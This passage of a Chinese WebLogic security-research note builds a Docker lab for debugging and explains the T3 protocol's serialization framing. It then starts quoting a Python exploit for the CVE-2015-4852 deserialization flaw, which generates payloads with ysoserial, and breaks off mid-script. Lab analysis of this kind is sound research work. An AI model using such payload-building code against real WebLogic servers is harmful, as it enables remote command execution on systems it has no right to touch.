ersion&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lWtN-1673491377744&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;Gdxb-1673491405351&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yUOm-1673491405350&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p069-1673491405353&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QHi1-1673491372913&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Hq2i-1673491372911&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 10.3.6支持的最低JDK版本为JDK1.6， Oracle WebLogic Server 12.1.3支持的最低JDK版本为JDK1.7，Oracle WebLogic Server 12.2.1及以上支持的最低JDK版本为JDK1.8。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wRTE-1673491443864&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f6Yo-1673491443862&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Docker构建：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0Tyv-1673491450914&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AWPP-1673491450913&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PQ1J-1673491447976&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3ESw-1673491451298&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3qUx-1673491451297&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X4l4-1673491451300&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Euem-1673491451299&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;sql&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PAGA-1673491265699&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gZ6T-1673491265697&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;由于Centos8已与2022年底停止维护，这里需要提前跟换yum源：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ioRW-1673491553354&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4909/WEBRESOURCE64df61f18e98bcb79d8b0f98f912edc4&#34;,&#34;width&#34;:605,&#34;height&#34;:355},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xTa1-1673491588716&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q1JR-1673491588715&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WbdW-1673490309275&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;RUN cd /etc/yum.repos.d/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IxgD-1673491597937&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iP1E-1673491597936&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;RUN sed -i &#39;s/mirrorlist/#mirrorlist/g&#39; /etc/yum.repos.d/CentOS-*&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LVOL-1673491597939&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N8SD-1673491597938&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;RUN sed -i &#39;s|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g&#39; /etc/yum.repos.d/CentOS-*&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;javascript&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;37YC-1673491584697&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Qwok-1673491584696&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;配置远程调试：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;W4Lc-1673491696734&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JbMC-1673491696733&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5jeO-1673491679517&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;kdir ./middleware&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZmXZ-1673491697201&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gaX8-1673491697200&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xvVt-1673491697205&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RiTc-1673491697204&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nmaL-1673491697209&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;W2O8-1673491697208&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;javascript&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ddTQ-1673491627410&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;x5qG-1673491627409&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;将docker中的主要lib目录拷贝出来，IDEA直接打开wlserver并将coherence_3.7与modules作为lib导入项目：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5M1C-1673491870518&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4922/WEBRESOURCEa5f120f434b304501a2efab26d14445a&#34;,&#34;width&#34;:1326,&#34;height&#34;:476},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rkdV-1673491584862&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rFG9-1673491584861&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同时将/wlserver/server/lib目录作为lib导入：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DC8N-1673492159524&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4925/WEBRESOURCE609c5e20ad563040081ddacd597589e5&#34;,&#34;width&#34;:305,&#34;height&#34;:493},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;t0ZA-1673491585004&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5jhS-1673491585003&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;配置remote调试端口即可：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rNCt-1673492232548&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4930/WEBRESOURCEbbd544eff03ee1fb001e1a5a7ce37939&#34;,&#34;width&#34;:572,&#34;height&#34;:392},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;h9vO-1673491585167&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QRf5-1673491585166&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;启动调试：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JyD4-1673493026569&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4935/WEBRESOURCEd47bdc412d359d420c99b49fc71e14bc&#34;,&#34;width&#34;:2808,&#34;height&#34;:1516},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wwoa-1673493052602&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4937/WEBRESOURCEda7147dbf613e3fd4381c0e4425f5c19&#34;,&#34;width&#34;:695,&#34;height&#34;:191},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OhB4-1673505623997&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZtnD-1673505623998&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2NFu-1673493063764&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZDKD-1673493063762&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;T3协议：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ToWZ-1673493290157&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;a5QT-1673493290156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic RMI是Weblogic对于Java RMI的实现，其主要使用Weblogic自有的T3协议和基于Corba的IIOP协议进行客户端与服务端之间的传输。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c4Ts-1673505380809&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Fhpd-1673505380807&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;数据包中前四个字符描述数据包长度，而后为T3的协议头，同时每个标准反序列化头部aced0005前会新增一个fe010000字段：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DR8A-1673505381525&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4963/WEBRESOURCEe44aaacd6cc4d45e000151c0d2beac0f&#34;,&#34;width&#34;:2058,&#34;height&#34;:1616},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9eGc-1673493702659&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4952/WEBRESOURCEac5e2b49c529dd47e3d31d31627e229c&#34;,&#34;width&#34;:560,&#34;height&#34;:204},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ORod-1673493024074&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rhUQ-1673493024075&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;更多内容参考：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tmgK-1673493762548&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ecUD-1673493762547&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;WqpW-1673493762925&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&amp;mid=2247485058&amp;idx=1&amp;sn=d22b310acf703a32d938a7087c8e8704&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tjjy-1673493762926&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&amp;mid=2247485058&amp;idx=1&amp;sn=d22b310acf703a32d938a7087c8e8704&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;knIi-1673493762938&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bBNc-1673493748254&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6cJn-1673493748252&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;l79f-1673493773767&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IAlj-1673493773766&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2015-4852&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;r5M5-1673851457133&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pZY7-1673851457134&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;影响范围：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IJI3-1673851463438&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;WCRs-1673851496211&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;u6bg-1673851463437&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 10.3.6.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RzLZ-1673851502693&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;WCRs-1673851496211&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jzUQ-1673851502692&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.2.1.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d2HC-1673851496206&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;WCRs-1673851496211&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;suVy-1673851496205&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vkSr-1673851496208&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;WCRs-1673851496211&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PMGB-1673851496207&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.2.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:4}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IKHp-1673851446141&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mrmo-1673851446139&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞分析：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22},{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kTy2-1673493798953&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0KZo-1673493798954&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;找了一份&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;05Iv-1673503802099&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://xz.aliyun.com/u/38490&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QALS-1673503802101&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;sp4z&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;}]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vjr0-1673503802116&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;师傅的脚本：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nDt2-1673503811887&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KSCC-1673503811886&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Jjmu-1673503809293&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from os import popen&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PeVu-1673503823677&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KJVv-1673503823676&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import struct # 负责大小端的转换&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mh9o-1673503823679&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6Wz7-1673503823678&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import subprocess&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y06G-1673503823681&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8jlr-1673503823680&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from sys import stdout&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DtyQ-1673503823683&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;K5nP-1673503823682&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import socket&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;24qh-1673503823685&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qk0X-1673503823684&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import re&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kHOY-1673503823687&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5FVh-1673503823686&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import binascii&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;85R4-1673503823689&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Fp9o-1673503823688&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2UKR-1673503823691&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dZ67-1673503823690&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;def generatePayload(gadget,cmd):&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ylG4-1673503823693&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;M2C4-1673503823692&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    YSO_PATH = \&#34;/Users/.../ysoserial-0.0.6-SNAPSHOT-BETA-all.jar\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MQYo-1673503823695&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cTS2-1673503823694&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    popen = subprocess.Popen([&#39;java&#39;,&#39;-jar&#39;,YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;F4Pd-1673503823697&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pe42-1673503823696&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return popen.stdout.read()&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cb2g-1673503823699&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LkvM-1673503823698&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;v7pe-1673503823701&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PTCr-1673503823700&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;def 